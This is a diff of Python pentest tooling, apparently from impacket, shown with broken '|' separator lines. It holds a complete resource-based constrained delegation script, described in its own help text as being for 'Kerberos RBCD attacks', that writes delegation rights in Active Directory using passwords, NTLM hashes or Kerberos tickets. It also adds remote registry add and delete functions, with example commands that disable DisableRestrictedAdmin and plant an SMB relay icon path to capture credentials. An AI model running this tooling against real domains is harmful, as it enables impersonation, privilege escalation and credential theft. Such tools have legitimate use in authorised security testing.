principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
TGT = creds.toTGT()
|
||||
logging.debug('Using TGT from cache')
|
||||
else:
|
||||
logging.debug('No valid credentials found in cache')
|
||||
else:
|
||||
TGS = creds.toTGS(principal)
|
||||
logging.debug('Using TGS from cache')
|
||||
|
||||
# retrieve user information from CCache file if needed
|
||||
if user == '' and creds is not None:
|
||||
user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
|
||||
logging.debug('Username retrieved from CCache: %s' % user)
|
||||
elif user == '' and len(ccache.principal.components) > 0:
|
||||
user = ccache.principal.components[0]['data'].decode('utf-8')
|
||||
logging.debug('Username retrieved from CCache: %s' % user)
|
||||
|
||||
# First of all, we need to get a TGT for the user
|
||||
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
if TGT is None:
|
||||
if TGS is None:
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
|
||||
aesKey, kdcHost)
|
||||
else:
|
||||
tgt = TGT['KDC_REP']
|
||||
cipher = TGT['cipher']
|
||||
sessionKey = TGT['sessionKey']
|
||||
|
||||
if TGS is None:
|
||||
serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
|
||||
sessionKey)
|
||||
else:
|
||||
tgs = TGS['KDC_REP']
|
||||
cipher = TGS['cipher']
|
||||
sessionKey = TGS['sessionKey']
|
||||
|
||||
# Let's build a NegTokenInit with a Kerberos REQ_AP
|
||||
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
|
||||
# Kerberos
|
||||
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
|
||||
|
||||
# Let's extract the ticket from the TGS
|
||||
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(tgs['ticket'])
|
||||
|
||||
# Now let's build the AP_REQ
|
||||
apReq = AP_REQ()
|
||||
apReq['pvno'] = 5
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, 'ticket', ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = domain
|
||||
seq_set(authenticator, 'cname', userName.components_to_asn1)
|
||||
now = datetime.datetime.utcnow()
|
||||
|
||||
authenticator['cusec'] = now.microsecond
|
||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 11
|
||||
# AP-REQ Authenticator (includes application authenticator
|
||||
# subkey), encrypted with the application session key
|
||||
# (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
|
||||
|
||||
apReq['authenticator'] = noValue
|
||||
apReq['authenticator']['etype'] = cipher.enctype
|
||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
||||
|
||||
blob['MechToken'] = encoder.encode(apReq)
|
||||
|
||||
request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
|
||||
blob.getData())
|
||||
|
||||
# Done with the Kerberos saga, now let's get into LDAP
|
||||
if connection.closed: # try to open connection if closed
|
||||
connection.open(read_server_info=False)
|
||||
|
||||
connection.sasl_in_progress = True
|
||||
response = connection.post_send_single_response(connection.send('bindRequest', request, None))
|
||||
connection.sasl_in_progress = False
|
||||
if response[0]['result'] != 0:
|
||||
raise Exception(response)
|
||||
|
||||
connection.bound = True
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def create_empty_sd():
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
|
||||
sd['Revision'] = b'\x01'
|
||||
sd['Sbz1'] = b'\x00'
|
||||
sd['Control'] = 32772
|
||||
sd['OwnerSid'] = ldaptypes.LDAP_SID()
|
||||
# BUILTIN\Administrators
|
||||
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
|
||||
sd['GroupSid'] = b''
|
||||
sd['Sacl'] = b''
|
||||
acl = ldaptypes.ACL()
|
||||
acl['AclRevision'] = 4
|
||||
acl['Sbz1'] = 0
|
||||
acl['Sbz2'] = 0
|
||||
acl.aces = []
|
||||
sd['Dacl'] = acl
|
||||
return sd
|
||||
|
||||
|
||||
# Create an ALLOW ACE with the specified sid
|
||||
def create_allow_ace(sid):
|
||||
nace = ldaptypes.ACE()
|
||||
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
|
||||
nace['AceFlags'] = 0x00
|
||||
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
|
||||
acedata['Mask'] = ldaptypes.ACCESS_MASK()
|
||||
acedata['Mask']['Mask'] = 983551 # Full control
|
||||
acedata['Sid'] = ldaptypes.LDAP_SID()
|
||||
acedata['Sid'].fromCanonical(sid)
|
||||
nace['Ace'] = acedata
|
||||
return nace
|
||||
|
||||
|
||||
class RBCD(object):
|
||||
"""docstring for setrbcd"""
|
||||
|
||||
def __init__(self, ldap_server, ldap_session, delegate_to):
|
||||
super(RBCD, self).__init__()
|
||||
self.ldap_server = ldap_server
|
||||
self.ldap_session = ldap_session
|
||||
self.delegate_from = None
|
||||
self.delegate_to = delegate_to
|
||||
self.SID_delegate_from = None
|
||||
self.DN_delegate_to = None
|
||||
logging.debug('Initializing domainDumper()')
|
||||
cnf = ldapdomaindump.domainDumpConfig()
|
||||
cnf.basepath = None
|
||||
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
|
||||
|
||||
def read(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
|
||||
return
|
||||
|
||||
def write(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including previous data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# writing only if SID not already in list
|
||||
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
|
||||
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
|
||||
[sd.getData()]]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
logging.info('Not modifying the delegation rights.')
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def remove(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including that data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# Remove the entries where SID match the given -delegate-from
|
||||
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
|
||||
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def flush(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights flushed successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def get_allowed_to_act(self):
|
||||
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
|
||||
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
|
||||
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
|
||||
targetuser = None
|
||||
for entry in self.ldap_session.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
continue
|
||||
targetuser = entry
|
||||
if not targetuser:
|
||||
logging.error('Could not query target user properties')
|
||||
return
|
||||
|
||||
try:
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
|
||||
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
|
||||
if len(sd['Dacl'].aces) > 0:
|
||||
logging.info('Accounts allowed to act on behalf of other identity:')
|
||||
for ace in sd['Dacl'].aces:
|
||||
SID = ace['Ace']['Sid'].formatCanonical()
|
||||
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
|
||||
logging.info(' %-10s (%s)' % (SamAccountName, SID))
|
||||
else:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
except IndexError:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
# Create DACL manually
|
||||
sd = create_empty_sd()
|
||||
return sd, targetuser
|
||||
|
||||
def get_user_info(self, samname):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
|
||||
return dn, sid
|
||||
except IndexError:
|
||||
logging.error('User not found in LDAP: %s' % samname)
|
||||
return False
|
||||
|
||||
def get_sid_info(self, sid):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
samname = self.ldap_session.entries[0]['samaccountname']
|
||||
return dn, samname
|
||||
except IndexError:
|
||||
logging.error('SID not found in LDAP: %s' % sid)
|
||||
return False
|
||||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser(add_help=True,
|
||||
description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.')
|
||||
parser.add_argument('identity', action='store', help='domain.local/username[:password]')
|
||||
parser.add_argument("-delegate-to", type=str, required=True,
|
||||
help="Target computer account the attacker has at least WriteProperty to")
|
||||
parser.add_argument("-delegate-from", type=str, required=False,
|
||||
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
|
||||
parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',
|
||||
help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity')
|
||||
|
||||
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
|
||||
|
||||
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true",
|
||||
help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
|
||||
'omitted it will use the domain part (FQDN) specified in '
|
||||
'the identity parameter')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def parse_identity(args):
|
||||
domain, username, password = utils.parse_credentials(args.identity)
|
||||
|
||||
if domain == '':
|
||||
logging.critical('Domain should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
|
||||
from getpass import getpass
|
||||
logging.info("No credentials supplied, supply password")
|
||||
password = getpass("Password:")
|
||||
|
||||
if args.aesKey is not None:
|
||||
args.k = True
|
||||
|
||||
if args.hashes is not None:
|
||||
lmhash, nthash = args.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
return domain, username, password, lmhash, nthash
|
||||
|
||||
|
||||
def init_logger(args):
|
||||
# Init the example's logger theme and debug level
|
||||
logger.init(args.ts)
|
||||
if args.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
# Print the Library's installation path
|
||||
logging.debug(version.getInstallationPath())
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
|
||||
user = '%s\\%s' % (domain, username)
|
||||
if tls_version is not None:
|
||||
use_ssl = True
|
||||
port = 636
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
|
||||
else:
|
||||
use_ssl = False
|
||||
port = 389
|
||||
tls = None
|
||||
ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
|
||||
if args.k:
|
||||
ldap_session = ldap3.Connection(ldap_server)
|
||||
ldap_session.bind()
|
||||
ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
|
||||
elif args.hashes is not None:
|
||||
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
|
||||
else:
|
||||
ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
|
||||
|
||||
return ldap_server, ldap_session
|
||||
|
||||
|
||||
def init_ldap_session(args, domain, username, password, lmhash, nthash):
|
||||
if args.k:
|
||||
target = get_machine_name(args, domain)
|
||||
else:
|
||||
if args.dc_ip is not None:
|
||||
target = args.dc_ip
|
||||
else:
|
||||
target = domain
|
||||
|
||||
if args.use_ldaps is True:
|
||||
try:
|
||||
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
|
||||
except ldap3.core.exceptions.LDAPSocketOpenError:
|
||||
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
|
||||
else:
|
||||
return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
|
||||
|
||||
|
||||
def main():
|
||||
print(version.BANNER)
|
||||
args = parse_args()
|
||||
init_logger(args)
|
||||
|
||||
if args.action == 'write' and args.delegate_from is None:
|
||||
logging.critical('`-delegate-from` should be specified when using `-action write` !')
|
||||
sys.exit(1)
|
||||
|
||||
domain, username, password, lmhash, nthash = parse_identity(args)
|
||||
if len(nthash) > 0 and lmhash == "":
|
||||
lmhash = "aad3b435b51404eeaad3b435b51404ee"
|
||||
|
||||
try:
|
||||
ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash)
|
||||
rbcd = RBCD(ldap_server, ldap_session, args.delegate_to)
|
||||
if args.action == 'read':
|
||||
rbcd.read()
|
||||
elif args.action == 'write':
|
||||
rbcd.write(args.delegate_from)
|
||||
elif args.action == 'remove':
|
||||
rbcd.remove(args.delegate_from)
|
||||
elif args.action == 'flush':
|
||||
rbcd.flush()
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
+214
-20
@@ -13,6 +13,10 @@
|
||||
#
|
||||
# e.g:
|
||||
# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s
|
||||
# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
|
||||
# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService
|
||||
# ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share'
|
||||
# ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin
|
||||
#
|
||||
# Author:
|
||||
# Manuel Porto (@manuporto)
|
||||
@@ -38,6 +42,7 @@ from impacket.examples.utils import parse_target
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
from impacket.structure import hexdump
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.dcerpc.v5.dtypes import READ_CONTROL
|
||||
|
||||
|
||||
class RemoteOperations:
|
||||
@@ -176,6 +181,10 @@ class RegHandler:
|
||||
|
||||
if self.__action == 'QUERY':
|
||||
self.query(dce, self.__options.keyName)
|
||||
elif self.__action == 'ADD':
|
||||
self.add(dce, self.__options.keyName)
|
||||
elif self.__action == 'DELETE':
|
||||
self.delete(dce, self.__options.keyName)
|
||||
else:
|
||||
logging.error('Method %s not implemented yet!' % self.__action)
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
@@ -187,23 +196,7 @@ class RegHandler:
|
||||
self.__remoteOps.finish()
|
||||
|
||||
def query(self, dce, keyName):
|
||||
# Let's strip the root key
|
||||
try:
|
||||
rootKey = keyName.split('\\')[0]
|
||||
subKey = '\\'.join(keyName.split('\\')[1:])
|
||||
except Exception:
|
||||
raise Exception('Error parsing keyName %s' % keyName)
|
||||
|
||||
if rootKey.upper() == 'HKLM':
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
elif rootKey.upper() == 'HKU':
|
||||
ans = rrp.hOpenCurrentUser(dce)
|
||||
elif rootKey.upper() == 'HKCR':
|
||||
ans = rrp.hOpenClassesRoot(dce)
|
||||
else:
|
||||
raise Exception('Invalid root key %s ' % rootKey)
|
||||
|
||||
hRootKey = ans['phKey']
|
||||
hRootKey, subKey = self.__strip_root_key(dce, keyName)
|
||||
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
@@ -232,6 +225,187 @@ class RegHandler:
|
||||
# ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
|
||||
# ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
|
||||
|
||||
def add(self, dce, keyName):
|
||||
hRootKey, subKey = self.__strip_root_key(dce, keyName)
|
||||
|
||||
# READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
|
||||
if self.__options.v is None: # Try to create subkey
|
||||
subKeyCreate = subKey
|
||||
subKey = '\\'.join(subKey.split('\\')[:-1])
|
||||
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
|
||||
|
||||
# Should I use ans2?
|
||||
|
||||
ans3 = rrp.hBaseRegCreateKey(
|
||||
dce, hRootKey, subKeyCreate,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY
|
||||
)
|
||||
if ans3['ErrorCode'] == 0:
|
||||
print('Successfully set subkey %s' % (
|
||||
keyName
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x while creating subkey %s' % (
|
||||
ans3['ErrorCode'], keyName
|
||||
))
|
||||
|
||||
else: # Try to set value of key
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
|
||||
|
||||
|
||||
dwType = getattr(rrp, self.__options.vt, None)
|
||||
|
||||
if dwType is None or not self.__options.vt.startswith('REG_'):
|
||||
raise Exception('Error parsing value type %s' % self.__options.vt)
|
||||
|
||||
#Fix (?) for packValue function
|
||||
if dwType in (
|
||||
rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN,
|
||||
rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN
|
||||
):
|
||||
valueData = int(self.__options.vd)
|
||||
else:
|
||||
valueData = self.__options.vd
|
||||
|
||||
ans3 = rrp.hBaseRegSetValue(
|
||||
dce, ans2['phkResult'], self.__options.v, dwType, valueData
|
||||
)
|
||||
|
||||
if ans3['ErrorCode'] == 0:
|
||||
print('Successfully set key %s\\%s of type %s to value %s' % (
|
||||
keyName, self.__options.v, self.__options.vt, valueData
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % (
|
||||
ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData
|
||||
))
|
||||
|
||||
def delete(self, dce, keyName):
|
||||
hRootKey, subKey = self.__strip_root_key(dce, keyName)
|
||||
|
||||
# READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
|
||||
if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey
|
||||
subKeyDelete = subKey
|
||||
subKey = '\\'.join(subKey.split('\\')[:-1])
|
||||
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
|
||||
|
||||
# Should I use ans2?
|
||||
try:
|
||||
ans3 = rrp.hBaseRegDeleteKey(
|
||||
dce, hRootKey, subKeyDelete,
|
||||
)
|
||||
except rpcrt.DCERPCException as e:
|
||||
if e.error_code == 5:
|
||||
#TODO: Check if DCERPCException appears only because of existing subkeys
|
||||
print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName)
|
||||
return
|
||||
else:
|
||||
raise
|
||||
except Exception as e:
|
||||
logging.error('Unhandled exception while hBaseRegDeleteKey')
|
||||
return
|
||||
|
||||
if ans3['ErrorCode'] == 0:
|
||||
print('Successfully deleted subkey %s' % (
|
||||
keyName
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x while deleting subkey %s' % (
|
||||
ans3['ErrorCode'], keyName
|
||||
))
|
||||
|
||||
elif self.__options.v: # Delete single value
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
|
||||
|
||||
ans3 = rrp.hBaseRegDeleteValue(
|
||||
dce, ans2['phkResult'], self.__options.v
|
||||
)
|
||||
|
||||
if ans3['ErrorCode'] == 0:
|
||||
print('Successfully deleted key %s\\%s' % (
|
||||
keyName, self.__options.v
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x while deleting key %s\\%s' % (
|
||||
ans3['ErrorCode'], keyName, self.__options.v
|
||||
))
|
||||
|
||||
elif self.__options.ve:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
|
||||
|
||||
ans3 = rrp.hBaseRegDeleteValue(
|
||||
dce, ans2['phkResult'], ''
|
||||
)
|
||||
|
||||
if ans3['ErrorCode'] == 0:
|
||||
print('Successfully deleted value %s\\%s' % (
|
||||
keyName, 'Default'
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x while deleting value %s\\%s' % (
|
||||
ans3['ErrorCode'], keyName, self.__options.v
|
||||
))
|
||||
|
||||
elif self.__options.va:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
|
||||
i = 0
|
||||
allSubKeys = []
|
||||
while True:
|
||||
try:
|
||||
ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i)
|
||||
lp_value_name = ans3['lpValueNameOut'][:-1]
|
||||
allSubKeys.append(lp_value_name)
|
||||
i += 1
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
|
||||
ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
|
||||
for subKey in allSubKeys:
|
||||
try:
|
||||
ans5 = rrp.hBaseRegDeleteValue(
|
||||
dce, ans4['phkResult'], subKey
|
||||
)
|
||||
if ans5['ErrorCode'] == 0:
|
||||
print('Successfully deleted value %s\\%s' % (
|
||||
keyName, subKey
|
||||
))
|
||||
else:
|
||||
print('Error 0x%08x in deletion of value %s\\%s' % (
|
||||
ans5['ErrorCode'], keyName, subKey
|
||||
))
|
||||
except Exception as e:
|
||||
print('Unhandled error %s in deletion of value %s\\%s' % (
|
||||
str(e), keyName, subKey
|
||||
))
|
||||
|
||||
def __strip_root_key(self, dce, keyName):
|
||||
# Let's strip the root key
|
||||
try:
|
||||
rootKey = keyName.split('\\')[0]
|
||||
subKey = '\\'.join(keyName.split('\\')[1:])
|
||||
except Exception:
|
||||
raise Exception('Error parsing keyName %s' % keyName)
|
||||
if rootKey.upper() == 'HKLM':
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
elif rootKey.upper() == 'HKU':
|
||||
ans = rrp.hOpenCurrentUser(dce)
|
||||
elif rootKey.upper() == 'HKCR':
|
||||
ans = rrp.hOpenClassesRoot(dce)
|
||||
else:
|
||||
raise Exception('Invalid root key %s ' % rootKey)
|
||||
hRootKey = ans['phKey']
|
||||
return hRootKey, subKey
|
||||
|
||||
def __print_key_values(self, rpc, keyHandler):
|
||||
i = 0
|
||||
while True:
|
||||
